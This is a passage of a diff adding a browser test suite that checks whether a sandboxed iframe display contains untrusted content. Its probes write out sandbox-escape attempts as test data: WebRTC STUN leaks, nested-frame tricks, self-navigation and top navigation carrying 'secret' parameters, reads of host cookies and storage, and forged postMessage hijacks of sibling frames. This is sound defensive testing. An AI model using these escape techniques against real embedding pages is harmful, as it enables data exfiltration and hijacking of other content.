|
+
r.names = Object.getOwnPropertyNames(window).filter((name) => /^(RTC|webkitRTC)/.test(name) && window[name] !== undefined);
|
|
430
|
+
r.peer = typeof RTCPeerConnection;
|
|
431
|
+
r.prefixed = typeof webkitRTCPeerConnection;
|
|
432
|
+
try { window.RTCPeerConnection = function () {}; } catch (e) {}
|
|
433
|
+
try { delete window.RTCPeerConnection; } catch (e) {}
|
|
434
|
+
try { Object.defineProperty(window, "RTCPeerConnection", { value: function () {} }); } catch (e) {}
|
|
435
|
+
r.restored = typeof window.RTCPeerConnection;
|
|
436
|
+
const Peer = window.RTCPeerConnection || window.webkitRTCPeerConnection || globalThis.RTCPeerConnection || self.RTCPeerConnection;
|
|
437
|
+
if (typeof Peer === "function") {
|
|
438
|
+
try { const p = new Peer({ iceServers: [{ urls: ${js(udp.stun)} }], iceCandidatePoolSize: 4 }); p.createDataChannel("x"); await p.setLocalDescription(await p.createOffer()); r.connected = true; } catch (e) { r.connected = false; }
|
|
439
|
+
}
|
|
440
|
+
await wait(1500);`),
|
|
441
|
+
});
|
|
442
|
+
const verdict = await context.result(display, 15_000);
|
|
443
|
+
await settle();
|
|
444
|
+
expect(verdict).toMatchObject({
|
|
445
|
+
names: [],
|
|
446
|
+
peer: "undefined",
|
|
447
|
+
prefixed: "undefined",
|
|
448
|
+
restored: "undefined",
|
|
449
|
+
});
|
|
450
|
+
expect(verdict.connected).toBeUndefined();
|
|
451
|
+
expect(udp.packets(), "STUN reached the oracle").toBe(0);
|
|
452
|
+
if (!sends) {
|
|
453
|
+
context.measured(`${context.engine}: the STUN oracle has no positive control here; the constructors' absence is the evidence`);
|
|
454
|
+
}
|
|
455
|
+
},
|
|
456
|
+
},
|
|
457
|
+
// ── 4: nested frames ───────────────────────────────────────────────────────────────────────
|
|
458
|
+
nested("light-dom", "a srcdoc frame appended to the document", () => `
|
|
459
|
+
document.body.append(makeFrame());
|
|
460
|
+
await wait(50);
|
|
461
|
+
r.frames = document.querySelectorAll("iframe").length;`),
|
|
462
|
+
nested("sync-realm", "reaching a new frame's realm in the same task it was added", (stun) => `
|
|
463
|
+
const f = document.createElement("iframe");
|
|
464
|
+
document.body.append(f);
|
|
465
|
+
try {
|
|
466
|
+
const w = window[window.length - 1] || f.contentWindow;
|
|
467
|
+
r.reached = typeof (w && w.RTCPeerConnection);
|
|
468
|
+
const p = new w.RTCPeerConnection({ iceServers: [{ urls: ${js(stun)} }], iceCandidatePoolSize: 4 });
|
|
469
|
+
p.createDataChannel("x");
|
|
470
|
+
p.createOffer().then((o) => p.setLocalDescription(o));
|
|
471
|
+
r.childRan = true;
|
|
472
|
+
} catch (e) { r.blocked = String(e && e.name); }
|
|
473
|
+
await wait(50);
|
|
474
|
+
r.frames = document.querySelectorAll("iframe").length;`),
|
|
475
|
+
nested("open-shadow", "a frame inside an open shadow root", () => `
|
|
476
|
+
const host = document.createElement("div");
|
|
477
|
+
document.body.append(host);
|
|
478
|
+
const root = host.attachShadow({ mode: "open" });
|
|
479
|
+
root.append(makeFrame());
|
|
480
|
+
await wait(50);
|
|
481
|
+
r.frames = root.querySelectorAll("iframe").length;`),
|
|
482
|
+
nested("closed-shadow", "a frame inside a closed shadow root", () => `
|
|
483
|
+
const host = document.createElement("div");
|
|
484
|
+
document.body.append(host);
|
|
485
|
+
const root = host.attachShadow({ mode: "closed" });
|
|
486
|
+
root.innerHTML = '<p>shadow</p>';
|
|
487
|
+
root.append(makeFrame());
|
|
488
|
+
await wait(50);
|
|
489
|
+
r.frames = root.querySelectorAll("iframe").length;`),
|
|
490
|
+
nested("shadow-nested", "a frame two shadow roots deep", () => `
|
|
491
|
+
const outer = document.createElement("div");
|
|
492
|
+
document.body.append(outer);
|
|
493
|
+
const first = outer.attachShadow({ mode: "closed" });
|
|
494
|
+
const inner = document.createElement("div");
|
|
495
|
+
first.append(inner);
|
|
496
|
+
const second = inner.attachShadow({ mode: "open" });
|
|
497
|
+
second.append(makeFrame());
|
|
498
|
+
await wait(50);
|
|
499
|
+
r.frames = second.querySelectorAll("iframe").length;`),
|
|
500
|
+
nested("declarative-shadow", "a frame in a declarative closed shadow root (setHTMLUnsafe)", () => `
|
|
501
|
+
const host = document.createElement("div");
|
|
502
|
+
document.body.append(host);
|
|
503
|
+
if (typeof host.setHTMLUnsafe === "function") {
|
|
504
|
+
host.setHTMLUnsafe('<div id="h"><template shadowrootmode="closed"><iframe srcdoc="' + child.replace(/"/g, """) + '"></iframe></template></div>');
|
|
505
|
+
}
|
|
506
|
+
await wait(50);
|
|
507
|
+
r.frames = document.querySelectorAll("iframe").length;
|
|
508
|
+
r.template = document.querySelectorAll("template").length;`),
|
|
509
|
+
nested("parse-html-unsafe", "a frame in a declarative shadow root parsed by Document.parseHTMLUnsafe", () => `
|
|
510
|
+
if (typeof Document.parseHTMLUnsafe === "function") {
|
|
511
|
+
const parsed = Document.parseHTMLUnsafe('<div id="h"><template shadowrootmode="closed"><iframe srcdoc="' + child.replace(/"/g, """) + '"></iframe></template></div>');
|
|
512
|
+
document.body.append(document.adoptNode(parsed.getElementById("h")));
|
|
513
|
+
}
|
|
514
|
+
await wait(50);
|
|
515
|
+
r.frames = document.querySelectorAll("iframe").length;`),
|
|
516
|
+
nested("domparser", "a frame in a declarative shadow root from DOMParser", () => `
|
|
517
|
+
const parsed = new DOMParser().parseFromString('<div id="h"><template shadowrootmode="closed"><iframe srcdoc="' + child.replace(/"/g, """) + '"></iframe></template></div>', "text/html");
|
|
518
|
+
document.body.append(document.importNode(parsed.getElementById("h"), true));
|
|
519
|
+
await wait(50);
|
|
520
|
+
r.frames = document.querySelectorAll("iframe").length;`),
|
|
521
|
+
nested("document-write", "a frame written in after the content rewrites the document", () => `
|
|
522
|
+
try {
|
|
523
|
+
document.open();
|
|
524
|
+
document.write('<div><template shadowrootmode="closed"><iframe srcdoc="' + child.replace(/"/g, """) + '"></iframe></template></div><iframe srcdoc="' + child.replace(/"/g, """) + '"></iframe>');
|
|
525
|
+
document.close();
|
|
526
|
+
r.rewrote = true;
|
|
527
|
+
} catch (e) { r.rewrite = "refused"; }
|
|
528
|
+
await wait(50);
|
|
529
|
+
r.frames = document.querySelectorAll("iframe").length;`),
|
|
530
|
+
nested("plugins", "object and embed elements holding a document", () => `
|
|
531
|
+
const object = document.createElement("object");
|
|
532
|
+
object.type = "text/html";
|
|
533
|
+
object.data = "data:text/html," + encodeURIComponent(child);
|
|
534
|
+
const embed = document.createElement("embed");
|
|
535
|
+
embed.type = "text/html";
|
|
536
|
+
embed.src = "data:text/html," + encodeURIComponent(child);
|
|
537
|
+
document.body.append(object, embed);
|
|
538
|
+
await wait(50);
|
|
539
|
+
r.frames = document.querySelectorAll("object, embed").length;`),
|
|
540
|
+
nested("foreign-object", "a frame inside SVG foreignObject", () => `
|
|
541
|
+
const holder = document.createElement("div");
|
|
542
|
+
holder.innerHTML = '<svg width="10" height="10"><foreignObject width="10" height="10"><iframe srcdoc="' + child.replace(/"/g, """) + '"></iframe></foreignObject></svg>';
|
|
543
|
+
document.body.append(holder);
|
|
544
|
+
await wait(50);
|
|
545
|
+
r.frames = document.querySelectorAll("iframe").length;`),
|
|
546
|
+
nested("template-clone", "a frame cloned out of a template", () => `
|
|
547
|
+
const template = document.createElement("template");
|
|
548
|
+
template.innerHTML = '<section><iframe srcdoc="' + child.replace(/"/g, """) + '"></iframe></section>';
|
|
549
|
+
document.body.append(template.content.cloneNode(true));
|
|
550
|
+
await wait(50);
|
|
551
|
+
r.frames = document.querySelectorAll("iframe").length;`),
|
|
552
|
+
{
|
|
553
|
+
id: "4.static",
|
|
554
|
+
item: 4,
|
|
555
|
+
title: "no nested frame runs: frames in the content's own markup",
|
|
556
|
+
async run(context) {
|
|
557
|
+
const udp = await context.udp();
|
|
558
|
+
const child = childDocument(udp.stun).replace(/"/gu, """);
|
|
559
|
+
const display = await context.launch({
|
|
560
|
+
config: inline(),
|
|
561
|
+
content: attack(`${childSetup(udp.stun)}\n await wait(1200);\n r.frames = document.querySelectorAll("iframe, object, embed").length;`, `<iframe srcdoc="${child}"></iframe><div><template shadowrootmode="closed"><iframe srcdoc="${child}"></iframe></template></div>`),
|
|
562
|
+
});
|
|
563
|
+
await expectNoChild(context, display, udp);
|
|
564
|
+
},
|
|
565
|
+
},
|
|
566
|
+
// ── 5: self-navigation ─────────────────────────────────────────────────────────────────────
|
|
567
|
+
navigation("location", "location.href", (target) => `location.href = ${js(target)};`),
|
|
568
|
+
navigation("replace", "location.replace", (target) => `location.replace(${js(target)});`),
|
|
569
|
+
navigation("open-self", "window.open(url, '_self')", (target) => `window.open(${js(target)}, "_self");`),
|
|
570
|
+
navigation("refresh", "a meta refresh", (target) => `
|
|
571
|
+
const meta = document.createElement("meta");
|
|
572
|
+
meta.httpEquiv = "refresh";
|
|
573
|
+
meta.content = "0;url=" + ${js(target)};
|
|
574
|
+
document.head.append(meta);`),
|
|
575
|
+
navigation("anchor", "a link clicked past the shell's own handler", (target) => `
|
|
576
|
+
window.addEventListener("click", (event) => event.stopImmediatePropagation(), true);
|
|
577
|
+
const a = document.createElement("a");
|
|
578
|
+
a.href = ${js(target)};
|
|
579
|
+
a.target = "_self";
|
|
580
|
+
a.textContent = "go";
|
|
581
|
+
document.body.append(a);
|
|
582
|
+
a.click();`),
|
|
583
|
+
navigation("svg-link", "an SVG xlink:href link clicked", (target) => `
|
|
584
|
+
window.addEventListener("click", (event) => event.stopImmediatePropagation(), true);
|
|
585
|
+
const holder = document.createElement("div");
|
|
586
|
+
holder.innerHTML = '<svg width="40" height="40"><a id="svg-link"><rect width="40" height="40"/></a></svg>';
|
|
587
|
+
document.body.append(holder);
|
|
588
|
+
const link = holder.querySelector("#svg-link");
|
|
589
|
+
link.setAttributeNS("http://www.w3.org/1999/xlink", "xlink:href", ${js(target)});
|
|
590
|
+
link.dispatchEvent(new MouseEvent("click", { bubbles: true, cancelable: true, view: window }));`),
|
|
591
|
+
{
|
|
592
|
+
id: "5.host-origin",
|
|
593
|
+
item: 5,
|
|
594
|
+
title: "the frame can't navigate itself out: to the embedding page's own origin",
|
|
595
|
+
async run(context) {
|
|
596
|
+
const canary = await context.http();
|
|
597
|
+
// A srcdoc document's base URL is its parent's: a path goes to the host's own origin.
|
|
598
|
+
const display = await context.launch({
|
|
599
|
+
config: inline(),
|
|
600
|
+
content: attack(`
|
|
601
|
+
await wait(150);
|
|
602
|
+
location.href = "/__probe/nav.html?d=secret";`),
|
|
603
|
+
});
|
|
604
|
+
await expectNoNavigation(context, display, canary);
|
|
605
|
+
expect(context
|
|
606
|
+
.requestsTo(new URL(context.page.url()).origin)
|
|
607
|
+
.filter((url) => url.includes("/__probe/")), "the frame navigated to the host's own origin").toEqual([]);
|
|
608
|
+
},
|
|
609
|
+
},
|
|
610
|
+
{
|
|
611
|
+
id: "5.blob",
|
|
612
|
+
item: 5,
|
|
613
|
+
title: "the frame can't navigate itself out: to a blob: document of its own (a fresh realm)",
|
|
614
|
+
async run(context) {
|
|
615
|
+
const canary = await context.http();
|
|
616
|
+
const udp = await context.udp();
|
|
617
|
+
const witness = await context.http();
|
|
618
|
+
const page = `<p id="blob">blob</p>${childDocument(udp.stun)}${witnessScript(witness.origin)}`;
|
|
619
|
+
const display = await context.launch({
|
|
620
|
+
config: inline({ egress: { connect: [witness.origin] } }),
|
|
621
|
+
content: attack(`
|
|
622
|
+
await wait(150);
|
|
623
|
+
location.href = URL.createObjectURL(new Blob([${js(page)}], { type: "text/html" }));`),
|
|
624
|
+
});
|
|
625
|
+
await expectNoNavigation(context, display, canary, udp);
|
|
626
|
+
measureWitness(context, witness, "blob:");
|
|
627
|
+
},
|
|
628
|
+
},
|
|
629
|
+
{
|
|
630
|
+
id: "5.data",
|
|
631
|
+
item: 5,
|
|
632
|
+
title: "the frame can't navigate itself out: to a data: document",
|
|
633
|
+
async run(context) {
|
|
634
|
+
const canary = await context.http();
|
|
635
|
+
const udp = await context.udp();
|
|
636
|
+
const witness = await context.http();
|
|
637
|
+
const page = `<p id="data">data</p>${childDocument(udp.stun)}${witnessScript(witness.origin)}`;
|
|
638
|
+
const display = await context.launch({
|
|
639
|
+
config: inline({ egress: { connect: [witness.origin] } }),
|
|
640
|
+
content: attack(`
|
|
641
|
+
await wait(150);
|
|
642
|
+
location.href = "data:text/html," + encodeURIComponent(${js(page)});`),
|
|
643
|
+
});
|
|
644
|
+
await expectNoNavigation(context, display, canary, udp);
|
|
645
|
+
measureWitness(context, witness, "data:");
|
|
646
|
+
},
|
|
647
|
+
},
|
|
648
|
+
// ── 6: forms, popups, downloads, top navigation ────────────────────────────────────────────
|
|
649
|
+
escape("submit", "a form submitted", `document.getElementById("form").submit();`),
|
|
650
|
+
escape("request-submit", "a form submitted with requestSubmit", `document.getElementById("form").requestSubmit();`),
|
|
651
|
+
escape("blank-form", "a form submitted to a new window", `document.getElementById("blank-form").submit();`),
|
|
652
|
+
escape("open", "window.open", (c) => `r.opened = window.open(${js(`${c}/popup?d=secret`)}) !== null;`),
|
|
653
|
+
escape("blank-link", "a target=_blank link clicked past the shell", `document.getElementById("blank").click();`),
|
|
654
|
+
escape("download", "a blob download clicked", `const a = document.createElement("a"); a.href = URL.createObjectURL(new Blob(["secret"])); a.download = "secret.txt"; document.body.append(a); a.click();`),
|
|
655
|
+
escape("remote-download", "a remote download clicked", `document.getElementById("remote-download").click();`),
|
|
656
|
+
escape("top", "top.location assigned", (c) => `top.location = ${js(`${c}/top?d=secret`)};`),
|
|
657
|
+
escape("top-link", "a target=_top link clicked past the shell", `document.getElementById("top").click();`),
|
|
658
|
+
escape("parent", "parent.location assigned", (c) => `parent.location.href = ${js(`${c}/parent?d=secret`)};`),
|
|
659
|
+
// ── 7: base, plugins ───────────────────────────────────────────────────────────────────────
|
|
660
|
+
{
|
|
661
|
+
id: "7.base-plugins",
|
|
662
|
+
item: 7,
|
|
663
|
+
title: "a <base> changes nothing and plugins load nothing",
|
|
664
|
+
async run(context) {
|
|
665
|
+
const canary = await context.http();
|
|
666
|
+
const c = canary.origin;
|
|
667
|
+
const display = await context.launch({
|
|
668
|
+
config: inline(),
|
|
669
|
+
content: attack(`
|
|
670
|
+
const before = document.baseURI;
|
|
671
|
+
const base = document.createElement("base");
|
|
672
|
+
base.href = ${js(`${c}/`)};
|
|
673
|
+
document.head.append(base);
|
|
674
|
+
r.baseChanged = document.baseURI !== before;
|
|
675
|
+
const img = document.createElement("img");
|
|
676
|
+
img.src = "relative.png?d=secret";
|
|
677
|
+
document.body.append(img);
|
|
678
|
+
const object = document.createElement("object");
|
|
679
|
+
object.data = ${js(`${c}/object.html`)};
|
|
680
|
+
const embed = document.createElement("embed");
|
|
681
|
+
embed.src = ${js(`${c}/embed.html`)};
|
|
682
|
+
document.body.append(object, embed);
|
|
683
|
+
await wait(500);
|
|
684
|
+
r.plugins = document.querySelectorAll("object, embed").length;`, `<object data="${c}/static-object.html"></object><embed src="${c}/static-embed.swf">`),
|
|
685
|
+
});
|
|
686
|
+
const verdict = await context.result(display);
|
|
687
|
+
await settle();
|
|
688
|
+
expect(verdict).toMatchObject({ baseChanged: false, plugins: 0 });
|
|
689
|
+
expect(canary.requests()).toEqual([]);
|
|
690
|
+
expect(context.requestsTo(canary.origin)).toEqual([]);
|
|
691
|
+
},
|
|
692
|
+
},
|
|
693
|
+
// ── 8: resource hints ──────────────────────────────────────────────────────────────────────
|
|
694
|
+
hint("preconnect", (c) => ({ rel: "preconnect", href: c })),
|
|
695
|
+
hint("dns-prefetch", (c) => ({ rel: "dns-prefetch", href: c })),
|
|
696
|
+
hint("prefetch", (c) => ({ rel: "prefetch", href: `${c}/prefetch.html` })),
|
|
697
|
+
hint("prerender", (c) => ({ rel: "prerender", href: `${c}/prerender.html` })),
|
|
698
|
+
hint("preload", (c) => ({ rel: "preload", href: `${c}/preload.png`, as: "image" })),
|
|
699
|
+
hint("modulepreload", (c) => ({ rel: "modulepreload", href: `${c}/modulepreload.js` })),
|
|
700
|
+
{
|
|
701
|
+
id: "8.speculation-rules",
|
|
702
|
+
item: 8,
|
|
703
|
+
title: "resource hints open no connection: speculation rules",
|
|
704
|
+
async run(context) {
|
|
705
|
+
const canary = await context.http();
|
|
706
|
+
const c = canary.origin;
|
|
707
|
+
const rules = (name) => JSON.stringify({
|
|
708
|
+
prefetch: [{ source: "list", urls: [`${c}/prefetch-${name}.html`] }],
|
|
709
|
+
prerender: [{ source: "list", urls: [`${c}/prerender-${name}.html`] }],
|
|
710
|
+
});
|
|
711
|
+
const display = await context.launch({
|
|
712
|
+
config: inline(),
|
|
713
|
+
content: attack(`
|
|
714
|
+
const rules = document.createElement("script");
|
|
715
|
+
rules.type = "speculationrules";
|
|
716
|
+
rules.textContent = ${js(rules("dynamic"))};
|
|
717
|
+
document.head.append(rules);
|
|
718
|
+
await wait(1200);`, `<script type="speculationrules">${rules("static")}</script>`),
|
|
719
|
+
});
|
|
720
|
+
await context.result(display, 15_000);
|
|
721
|
+
await settle(1_000);
|
|
722
|
+
expect(canary.requests()).toEqual([]);
|
|
723
|
+
expect(canary.connections()).toBe(0);
|
|
724
|
+
},
|
|
725
|
+
},
|
|
726
|
+
// ── 9: the host ────────────────────────────────────────────────────────────────────────────
|
|
727
|
+
{
|
|
728
|
+
id: "9.host",
|
|
729
|
+
item: 9,
|
|
730
|
+
title: "the content can't reach the host's document, storage, cookies or credentials",
|
|
731
|
+
async run(context) {
|
|
732
|
+
const canary = await context.http();
|
|
733
|
+
const display = await context.launch({
|
|
734
|
+
config: inline(),
|
|
735
|
+
content: attack(`
|
|
736
|
+
const read = (name, run) => { try { r[name] = run(); } catch (e) { r[name] = "blocked"; } };
|
|
737
|
+
read("origin", () => window.origin);
|
|
738
|
+
read("parentDocument", () => typeof parent.document.title);
|
|
739
|
+
read("topDocument", () => typeof top.document.title);
|
|
740
|
+
read("parentLocation", () => String(parent.location.href));
|
|
741
|
+
read("parentStorage", () => typeof parent.localStorage);
|
|
742
|
+
read("parentGlobals", () => typeof parent.porthole);
|
|
743
|
+
read("cookie", () => document.cookie);
|
|
744
|
+
read("storage", () => localStorage.getItem("porthole-host-secret"));
|
|
745
|
+
read("html", () => document.documentElement.outerHTML.includes(["porthole", "host", "secret", "value"].join("-")));
|
|
746
|
+
read("opener", () => window.opener === null);`),
|
|
747
|
+
});
|
|
748
|
+
await context.page.evaluate(() => {
|
|
749
|
+
document.cookie = "porthole_host=porthole-host-secret-value; path=/";
|
|
750
|
+
localStorage.setItem("porthole-host-secret", "porthole-host-secret-value");
|
|
751
|
+
});
|
|
752
|
+
const verdict = await context.result(display);
|
|
753
|
+
expect(verdict.origin).toBe("null");
|
|
754
|
+
expect(verdict).toMatchObject({
|
|
755
|
+
parentDocument: "blocked",
|
|
756
|
+
topDocument: "blocked",
|
|
757
|
+
parentLocation: "blocked",
|
|
758
|
+
parentStorage: "blocked",
|
|
759
|
+
storage: null,
|
|
760
|
+
html: false,
|
|
761
|
+
opener: true,
|
|
762
|
+
});
|
|
763
|
+
expect(["blocked", ""]).toContain(verdict.cookie);
|
|
764
|
+
expect(canary.requests()).toEqual([]);
|
|
765
|
+
},
|
|
766
|
+
},
|
|
767
|
+
{
|
|
768
|
+
id: "9.siblings",
|
|
769
|
+
item: 9,
|
|
770
|
+
title: "a display can't navigate or drive another display",
|
|
771
|
+
async run(context) {
|
|
772
|
+
const canary = await context.http();
|
|
773
|
+
const victim = await context.launch({
|
|
774
|
+
config: inline(),
|
|
775
|
+
content: '<p id="victim">victim</p>',
|
|
776
|
+
});
|
|
777
|
+
await expect((await victim.frame()).locator("#victim")).toHaveText("victim");
|
|
778
|
+
const display = await context.launch({
|
|
779
|
+
config: inline(),
|
|
780
|
+
content: attack(`
|
|
781
|
+
const frames = [];
|
|
782
|
+
for (let index = 0; index < parent.length; index += 1) { if (parent[index] !== window) frames.push(parent[index]); }
|
|
783
|
+
r.siblings = frames.length;
|
|
784
|
+
for (const sibling of frames) {
|
|
785
|
+
try { sibling.location = ${js(`${canary.origin}/sibling?d=secret`)}; r.navigated = true; } catch (e) { r.navigated = false; }
|
|
786
|
+
sibling.postMessage({ jsonrpc: "2.0", method: "ui/notifications/tool-input", params: { arguments: { html: '<p id="hijacked">hijacked</p>' } } }, "*");
|
|
787
|
+
}
|
|
788
|
+
await wait(800);`),
|
|
789
|
+
});
|
|
790
|
+
const verdict = await context.result(display);
|
|
791
|
+
await settle();
|
|
792
|
+
expect(verdict.siblings, "the probe found its sibling").toBeGreaterThan(0);
|
|
793
|
+
expect(canary.requests()).toEqual([]);
|
|
794
|
+
const frame = await victim.frame();
|
|
795
|
+
await expect(frame.locator("#victim")).toHaveText("victim");
|
|
796
|
+
await expect(frame.locator("#hijacked")).toHaveCount(0);
|
|
797
|
+
},
|
|
798
|
+
},
|
|
799
|
+
// ── 10: the embedding page's own origin ────────────────────────────────────────────────────
|
|
800
|
+
{
|
|
801
|
+
id: "10.self",
|
|
802
|
+
item: 10,
|
|
803
|
+
title: "nothing loads from the embedding page's own origin",
|
|
804
|
+
async run(context) {
|
|
805
|
+
const host = new URL(context.page.url()).origin;
|
|
806
|
+
const display = await context.launch({
|
|
807
|
+
config: inline(),
|
|
808
|
+
content: attack(`
|
|
809
|
+
const host = ${js(host)};
|
|
810
|
+
await fetch(host + "/portholeProbe/fetch").catch(() => {});
|
|
811
|
+
await import(host + "/portholeProbe/module.js").catch(() => {});
|
|
812
|
+
await wait(800);`, `<img src="${host}/portholeProbe/img.png"><link rel="stylesheet" href="${host}/portholeProbe/style.css"><script src="${host}/portholeProbe/script.js"></script><style>@font-face { font-family: Self; src: url("${host}/portholeProbe/font.woff2"); } p { font-family: Self; }</style><p>self</p>`),
|
|
813
|
+
});
|
|
814
|
+
await context.result(display, 15_000);
|
|
815
|
+
await settle();
|
|
816
|
+
expect(context.requestsTo(host).filter((url) => url.includes("/portholeProbe/"))).toEqual([]);
|
|
817
|
+
},
|
|
818
|
+
},
|
|
819
|
+
...BEHAVIOR_PROBES,
|
|
820
|
+
];
|
|
821
|
+
/** Every probe as a test entry (see `ConformanceTest`). */
|
|
822
|
+
export function leakTests(host, options = {}) {
|
|
823
|
+
return PROBES.map((probe) => ({
|
|
824
|
+
id: probe.id,
|
|
825
|
+
title: `[${probe.id}] ${probe.title}`,
|
|
826
|
+
async run({ page, browserName }, info) {
|
|
827
|
+
const reason = options.skip?.[probe.id];
|
|
828
|
+
info.skip(reason !== undefined, reason);
|
|
829
|
+
const closers = [];
|
|
830
|
+
const requests = [];
|
|
831
|
+
page.on("response", (response) => requests.push(response.url()));
|
|
832
|
+
try {
|
|
833
|
+
await probe.run({
|
|
834
|
+
page,
|
|
835
|
+
engine: browserName,
|
|
836
|
+
launch: (spec) => host.launch(page, spec),
|
|
837
|
+
http: async (files) => {
|
|
838
|
+
const oracle = await httpOracle(files);
|
|
839
|
+
closers.push(() => oracle.close());
|
|
840
|
+
return oracle;
|
|
841
|
+
},
|
|
842
|
+
udp: async () => {
|
|
843
|
+
const oracle = await udpOracle();
|
|
844
|
+
closers.push(() => oracle.close());
|
|
845
|
+
return oracle;
|
|
846
|
+
},
|
|
847
|
+
result: async (display, timeoutMs = 10_000) => {
|
|
848
|
+
await expect
|
|
849
|
+
.poll(async () => (await display.frame())
|
|
850
|
+
.evaluate(() => Boolean(window.portholeProbe
|
|
851
|
+
?.done))
|
|
852
|
+
.catch(() => false), { timeout: timeoutMs })
|
|
853
|
+
.toBe(true);
|
|
854
|
+
return (await display.frame()).evaluate(() => window.portholeProbe);
|
|
855
|
+
},
|
|
856
|
+
requestsTo: (origin) => requests.filter((url) => url.startsWith(`${origin}/`) || url === origin),
|
|
857
|
+
measured: (text) => info.annotations.push({ type: "measured", description: text }),
|
|
858
|
+
});
|
|
859
|
+
}
|
|
860
|
+
finally {
|
|
861
|
+
await Promise.all(closers.map((close) => close()));
|
|
862
|
+
}
|
|
863
|
+
},
|
|
864
|
+
}));
|
|
865
|
+
}
|
|
866
|
+
/**
|
|
867
|
+
* Registers every probe as a test. Its tests are located in Porthole's own files; a host that
|
|
868
|
+
* wants to select them by its spec file registers `leakTests` itself instead.
|
|
869
|
+
*/
|
|
870
|
+
export function defineLeakSuite(test, host, options = {}) {
|
|
871
|
+
test.describe(`Porthole leak suite (${host.name})`, () => {
|
|
872
|
+
for (const each of leakTests(host, options)) {
|
|
873
|
+
test(each.title, ({ page, browserName }, info) => each.run({ page, browserName }, info));
|
|
874
|
+
}
|
|
875
|
+
});
|
|
876
|
+
}
|